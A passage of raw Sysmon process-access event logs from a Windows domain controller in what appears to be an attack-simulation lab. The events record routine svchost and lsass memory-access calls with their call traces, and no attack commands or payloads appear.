C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":903,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":904,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":905,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 636\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"636","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":906,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.375\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.375","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":907,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.391\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.391","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":908,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":909,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.391\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.391","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":910,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.406\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 